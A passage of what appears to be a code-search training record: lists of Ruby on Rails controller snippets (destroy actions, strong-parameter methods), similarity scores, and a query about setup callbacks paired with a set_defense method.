"def destroy\n @cash_dispense = CashDispense.find(params[:id])\n @cash_dispense.destroy\n\n respond_to do |format|\n format.html { redirect_to cash_dispenses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expenditure = Expenditure.find(params[:id])\n @expenditure.destroy\n\n respond_to do |format|\n format.html { redirect_to expenditures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @defense_response.destroy\n respond_to do |format|\n format.html { redirect_to defense_responses_url, notice: 'Defense response was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person_expense_record.destroy\n\n head :no_content\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @economia4 = Economia4.find(params[:id])\n @economia4.destroy\n\n respond_to do |format|\n format.html { redirect_to economia4s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @petty_cash_expense.destroy\n head :no_content \n end",
"def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @deposit.destroy\n respond_to do |format|\n format.html { redirect_to deposits_url, notice: \"Deposit was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @expense\n set_return_to\n @expense.destroy\n respond_to do |format|\n format.html { redirect_back_or_default expenses_url, t('Record has been deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @deposit.destroy\n respond_to do |format|\n format.html { redirect_to deposits_url, notice: 'Deposit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fooddiary.destroy\n respond_to do |format|\n format.html { redirect_to food_fooddiaries_url(@food.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foodlog = Foodlog.find(params[:id])\n @foodlog.destroy\n\n respond_to do |format|\n format.html { redirect_to foodlogs_url }\n format.json { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n if @diet.destroy\n head :no_content, status: 200\n else\n render json: @diet.errors, status: 405\n end\n end",
"def destroy\n @saved_food = SavedFood.find(params[:id])\n @saved_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(saved_foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bid_expense.destroy\n respond_to do |format|\n format.html { redirect_to bid_expenses_url, notice: 'Bid expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @dental = Dental.find(params[:id])\n @dental.destroy\n\n respond_to do |format|\n format.html { redirect_to dentals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n @expense.destroy\n\n redirect_to expenses_url, notice: (I18n.t 'Expense was successfully deleted.')\n end",
"def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_finance.destroy\n respond_to do |format|\n format.html { redirect_to personal_finances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense = Expense.find(params[:id])\n if @expense.dossier.parametres_cabinet.id = current_user.parametres_cabinet.id\n @expense.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.json { render :json => { :success => true, :message => \"Destroyed Expense #{@expense.id}\", :data => []}}\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @confection.destroy\n respond_to do |format|\n format.html { redirect_to confections_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @campus_food = CampusFood.find(params[:id])\n @campus_food.destroy\n\n respond_to do |format|\n format.html { redirect_to campus_foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @accident_vehicle_expense = AccidentVehicleExpense.find(params[:id])\n @accident_vehicle_expense.destroy\n\n respond_to do |format|\n format.html { redirect_to(accident_vehicle_expenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @explaination = Explaination.find(params[:id])\n @explaination.destroy\n\n respond_to do |format|\n format.html { redirect_to explainations_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @expense = Expense.find(params[:id])\n if authorized?(:destroy, @expense)\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.js { render :action => \"destroy\" }\n end\n end\n end",
"def destroy\n @expense = Expense.for_user(current_user).find(params[:id])\n @expense.destroy\n\n respond_to do |format|\n format.html { redirect_to('/') }\n format.iphone { redirect_to('/') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @raw_food.destroy\n respond_to do |format|\n format.html { redirect_to raw_foods_url, notice: 'Raw food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73333275",
"0.72282755",
"0.72282755",
"0.72218657",
"0.7204065",
"0.7186804",
"0.7186804",
"0.7099884",
"0.708687",
"0.7040137",
"0.70333296",
"0.69834936",
"0.69607043",
"0.69562864",
"0.6942919",
"0.69345653",
"0.69345653",
"0.69345653",
"0.69345653",
"0.69345653",
"0.69345653",
"0.69240975",
"0.6920525",
"0.691019",
"0.691019",
"0.68948543",
"0.6894087",
"0.68694353",
"0.68455255",
"0.68455255",
"0.6822031",
"0.67995375",
"0.6785225",
"0.6762652",
"0.6744087",
"0.67270803",
"0.67270803",
"0.6713734",
"0.67128175",
"0.6701833",
"0.66944313",
"0.66931844",
"0.6691157",
"0.6684467",
"0.66733396",
"0.66608703",
"0.6654187",
"0.66520584",
"0.66488487",
"0.6629574",
"0.6624781",
"0.6610159",
"0.6599333",
"0.6594479",
"0.6589358",
"0.6581293",
"0.6581157",
"0.6576416",
"0.65629625",
"0.65427935",
"0.6538324",
"0.6535987",
"0.6534048",
"0.65307724",
"0.65296793",
"0.651767",
"0.6510349",
"0.6509416",
"0.6497281",
"0.64964175",
"0.64952475",
"0.6491366",
"0.64846593",
"0.6482375",
"0.6479872",
"0.64735776",
"0.6472647",
"0.6472319",
"0.6469243",
"0.646702",
"0.6458234",
"0.64581084",
"0.64500916",
"0.644832",
"0.6447418",
"0.6445591",
"0.64442605",
"0.64392555",
"0.64392555",
"0.64392555",
"0.64392555",
"0.64373463",
"0.64354604",
"0.64317745",
"0.64298964",
"0.6421098",
"0.6419121",
"0.641138",
"0.64109874",
"0.64090925"
] |
0.70754033
|
9
|
Use callbacks to share common setup or constraints between actions.
|
def set_defense
@defense = Defense.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def defense_params
params.require(:defense).permit(:description)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
